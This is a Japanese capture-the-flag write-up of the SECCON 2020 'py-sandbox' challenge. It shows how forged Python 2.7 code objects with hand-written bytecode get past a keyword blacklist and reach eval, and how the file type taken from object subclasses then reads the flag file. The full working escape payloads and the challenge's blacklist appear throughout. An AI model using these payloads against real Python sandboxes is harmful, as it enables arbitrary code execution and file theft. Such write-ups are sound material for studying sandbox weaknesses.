# py-sandbox - SECCON Online 2020 ###### tags: `SECCON` ## 概要 `run.py`が渡される。Python2.7で動くらしい。 オブジェクトが結構消されてるのと ```python for k in keys: if k not in ['False', 'None', 'True', 'bool', 'bytearray', 'bytes', 'chr', 'dict', 'eval', 'exit', 'filter', 'float', 'format', 'hash', 'id', 'int', 'iter', 'len', 'list', 'long', 'map', 'max', 'ord', 'print', 'range', 'raw_input', 'reduce', 'repr', 'setattr', 'sum', 'type']: del __builtins__.__dict__[k] ``` ブラックリストがある。 ```python def check(s): s = s.lower() if len(s) > 0x1000: return False for x in ['eval', 'exec', '__', 'module', 'class', 'globals', 'os', 'import']: if x in s: return False return True ``` ## 調査 結構制約が厳しいけど、まぁpythonのオブジェクト破壊していけばなんとかなるやろ(適当) ### Pythonの関数の調査 Python 2.7という情報しか無いので詳しいバージョンは分からないが、2.7.15がローカルにあったので、2.7.15のソースコードを落として読む。 2.7.15で`PyObject`は次のように定義されている。 ```cpp typedef struct _object { PyObject_HEAD } PyObject; ``` 本体はこっち。 ```cpp #define PyObject_HEAD \ _PyObject_HEAD_EXTRA \ Py_ssize_t ob_refcnt; \ struct _typeobject *ob_type; ``` gdbで`PyObject_SetAttr`などにブレークポイントを設置して関数オブジェクトを確認する。 ``` pwndbg> x/2xg 0x7ffff7ea9758 0x7ffff7ea9758: 0x0000000000000002 0x0000555555959680 ``` `_typeobject`構造体は次のように定義されている。 ```cpp typedef struct _typeobject { PyObject_VAR_HEAD const char *tp_name; /* For printing, in format "<module>.<name>" */ Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */ /* Methods to implement standard operations */ ... /* More standard operations (here for binary compatibility) */ hashfunc tp_hash; ternaryfunc tp_call; reprfunc tp_str; getattrofunc tp_getattro; setattrofunc tp_setattro; ... ``` これも中身を見る。 ``` pwndbg> x/32xg 0x0000555555959680 0x555555959680 <PyFunction_Type>: 0x000000000000001a 0x0000555555939ae0 0x555555959690 <PyFunction_Type+16>: 0x0000000000000000 0x00005555556eba61 0x5555559596a0 <PyFunction_Type+32>: 0x0000000000000058 0x0000000000000000 0x5555559596b0 <PyFunction_Type+48>: 0x00005555556b38e0 0x0000000000000000 0x5555559596c0 <PyFunction_Type+64>: 0x0000000000000000 0x0000000000000000 0x5555559596d0 <PyFunction_Type+80>: 0x0000000000000000 0x00005555556b38b0 0x5555559596e0 <PyFunction_Type+96>: 0x0000000000000000 0x0000000000000000 0x5555559596f0 <PyFunction_Type+112>: 0x0000000000000000 0x00005555555dc3d0 0x555555959700 <PyFunction_Type+128>: 0x00005555556b3700 0x00005555555f95e0 0x555555959710 <PyFunction_Type+144>: 0x00005555555dde70 0x00005555555de340 0x555555959720 <PyFunction_Type+160>: 0x0000000000000000 0x00000000000e51eb 0x555555959730 <PyFunction_Type+176>: 0x0000555555958e40 0x00005555556b3b10 0x555555959740 <PyFunction_Type+192>: 0x0000000000000000 0x0000000000000000 0x555555959750 <PyFunction_Type+208>: 0x0000000000000048 0x0000000000000000 0x555555959760 <PyFunction_Type+224>: 0x0000000000000000 0x0000000000000000 0x555555959770 <PyFunction_Type+240>: 0x0000555555959200 0x0000555555959080 ``` `tp_call`は関数ポインタ。 ``` pwndbg> x/8i 0x00005555556b3700 0x5555556b3700 <function_call>: push r15 0x5555556b3702 <function_call+2>: push r14 0x5555556b3704 <function_call+4>: mov r15,rdi 0x5555556b3707 <function_call+7>: push r13 0x5555556b3709 <function_call+9>: push r12 0x5555556b370b <function_call+11>: mov r14,rdx 0x5555556b370e <function_call+14>: push rbp 0x5555556b370f <function_call+15>: push rbx ``` ### 関数本体の書換 Python 2系では`func_code`という属性があるらしい。3では`__code__`だった。 これの型は`code`という謎の型で、一応type関数でPythonコードから取得・利用できる。 このcodeというtypeを使うには12個の引数が必要と怒られるが、さすがにguessできないので調べる。 https://stackoverflow.com/questions/6612449/what-are-the-arguments-to-the-types-codetype-python-call たぶんこれじゃないかな(適当) ``` PyCode_New(int argcount, int nlocals, int stacksize, int flags, PyObject *code, PyObject *consts, PyObject *names, PyObject *varnames, PyObject *freevars, PyObject *cellvars, PyObject *filename, PyObject *name, int firstlineno, PyObject *lnotab) ``` 12個以上あるけどまぁ適当に置いて、あとはエラーメッセージから推測する。 ```python= f = lambda x: x type_code = type(f.func_code) f.func_code = type_code(0, 0, 0, 0, "hoge", (), (), (), "A", "B", 123, "C") print(f.func_code) ``` なんとなく役割が分かる。 ``` <code object B at 0x7ffff7e96cb0, file "A", line 123> ``` 第5引数は実際のバイトコードっぽい。第6〜8引数はそれぞれconsts, names, varnamesだと思う。(知らん) 少なくともconstsは重要で、`LOAD_CONST`を使うときにここに載ってるやつらが使えるようになる。やったね。 例えば次のような関数を作ってみた。 ```python= f = lambda x: x type_code = type(f.func_code) consts = ("Hello, World!", None) args = ("s",) fake_code = "" fake_code += "\x64" + "\x00\x00" # load_const fake_code += "\x47" # print_item fake_code += "\x48" # print_newline fake_code += "\x7c" + "\x00\x00" # load_fast fake_code += "\x47" # print_item fake_code += "\x48" # print_newline fake_code += "\x64" + "\x00\x01" # load_const fake_code += "\x53" # return value f.func_code = type_code( 1, # argcount 1, # nlocals 1, # stacksize 67, # flags fake_code, # bytecode consts, # constants (), # local variables args, # arguments "nyanta.py", # filename "neko_func", # objet name 114514, # line number "?" # nazo ) f("hogehuga") ``` 命令コードは[ここ](https://blog.csdn.net/lxlmycsdnfree/article/details/78694474)の表を参考にした。 これを動かすとこんな感じ。 ``` $ python test.py (1, 1, 1, 67, 'd\x01\x00GH|\x00\x00GHd\x00\x00S', (None, 'Hello'), (), ('s',), 'test.py', 'g', 1, '\x00\x01\x05\x01') Hello, World! hogehuga Segmentation fault (コアダンプ) ``` やったぜ。ちゃんとreturnしたつもりがなんか落ちてるけどまぁいっか!w ### evalの作成 引数を扱える関数を偽造できたので、中身をevalとかos.systemみたいな何かにしたい。 今回の問題ではevalはブラックリストに登録されているものの、削除はされていない。 一方、evalするだけの関数を逆アセンブルすると次のようになる。 ``` (1, 1, 2, 67, 't\x00\x00|\x00\x00\x83\x01\x00\x01d\x00\x00S', (None,), ('eval',), ('s',), 'test.py', 'g', 3, '\x00\x01') 4 0 LOAD_GLOBAL 0 (eval) 3 LOAD_FAST 0 (s) 6 CALL_FUNCTION 1 9 POP_TOP 10 LOAD_CONST 0 (None) 13 RETURN_VALUE ``` たまげたなぁ・・・ ということで今回の制約下でも同じものが作れる。 ```python= f = lambda x: x type_code = type(f.func_code) consts = (None,) variables = ("ev" + "al",) args = ("s",) fake_code = "" fake_code += "\x74" + "\x00\x00" # LOAD_GLOBAL(0) fake_code += "\x7c" + "\x00\x00" # LOAD_FAST(0) fake_code += "\x83" + "\x01\x00" # CALL_FUNCTION(1) fake_code += "\x53" # RETURN_VALUE f.func_code = type_code( 1, # argcount 1, # nlocals 2, # stacksize 67, # flags fake_code, # bytecode consts, # constants variables, # local variables args, # arguments "nyanta.py", # filename "neko_func", # objet name 114514, # line number "?" # nazo ) print(f("1+1")) ``` 実行結果 ``` $ python test.py 2 ``` うぇい。 ### eval用に書き換える 代入はsetattrで綺麗さっぱり消せる。あとは関数やlambdaを用意しないとダメ。 関数はeval前に抹消されているので、内部で頑張って作るしかなさそう。 これで少し困ったが、リスト内包表記を使えば解消できることに気づいた。 ## Exploit 1 嬉々としてexploitを送った。 ```python [[setattr(f,'func_code',type((lambda x:x).func_code)(1,1,2,67,"\x74\x00\x00\x7c\x00\x00\x83\x01\x00\x53",(None,),("ev"+"al",),("s",),"nyanta.py","neko_func",114514,"?")),f('_'+'_imp'+'ort_'+'_("o'+'s").system("ls")')] for f in [x for x in [lambda x:x]]] ``` 結果: ``` Welcome to yet another sandboxed python evaluator! Give me an expression (ex: 1+2): > [[setattr(f,'func_code',type((lambda x:x).func_code)(1,1,2,67,"\x74\x00\x00\x7c\x00\x00\x83\x01\x00\x53",(None,),("ev"+"al",),("s",),"nyanta.py","neko_func",114514,"?")),f('_'+'_imp'+'ort_'+'_("o'+'s").system("ls")')] for f in [x for x in [lambda x:x]]] Traceback (most recent call last): File "run.py", line 40, in <module> main() File "run.py", line 37, in main print_result(sandboxed_eval(s)) File "run.py", line 30, in sandboxed_eval return eval(s) File "<string>", line 1, in <module> File "nyanta.py", line 114514, in neko_func File "<string>", line 1, in <module> NameError: name '__import__' is not defined ``` そっかぁ・・・ なんならosも消されてるし泣いちゃった。 あと出力がintじゃないと怒られるのでencodeでごまかす。 ここまできて、これ実はスタックに偽のobject用意してsystem関数呼び出す問題では、という疑惑が。 ## Exploit 2 もうダメぴよ〜となっていたが、冷静に考えればbuiltinsから辿れば1990年代いにしえのpython jail問に帰着する。 eval中で ``` ().__class__.__base__.__subclasses__() ``` を見るとfileが存在するので、ファイル名は`flag`やろと思ってリモートで試す。 ``` $ nc localhost 30002 raw_input(filter(lambda x:"file" in "{0}".format(x),[[setattr(f,'func_code',type((lambda x:x).func_code)(1,1,2,67,"\x74\x00\x00\x7c\x00\x00\x83\x01\x00\x53",(None,),("ev"+"al",),("s",),"nyanta.py","neko_func",114514,"?")),f('()._'+'_cl'+'ass_'+'_._'+'_base_'+'_._'+'_subcl'+'asses_'+'_()')] for f in [x for x in [lambda x:x]]][0][1])[0]("./flag").read()+"\n") Welcome to yet another sandboxed python evaluator! Give me an expression (ex: 1+2): > SECCON{creating_sandbox_is_really_really_impossible} wrong program ``` やったぁ - formatを使っているが、これはfileを探すだけなので実質不要。 - ファイル名が分からなくても、sys.hogeがあったのでそこからsysを辿れば良いんじゃないかな。 ## 意見・感想 - idやformatを許すと絶対アドレスリークしてsystem関数直接叩くチームが出てくると思う。 →idとformatは消そう!他にもアドレス分かるようなやつがあれば消そう! - flushしてないからリモートでstdioが崩壊してる - フラグの名前をguessできたからちょっと楽できた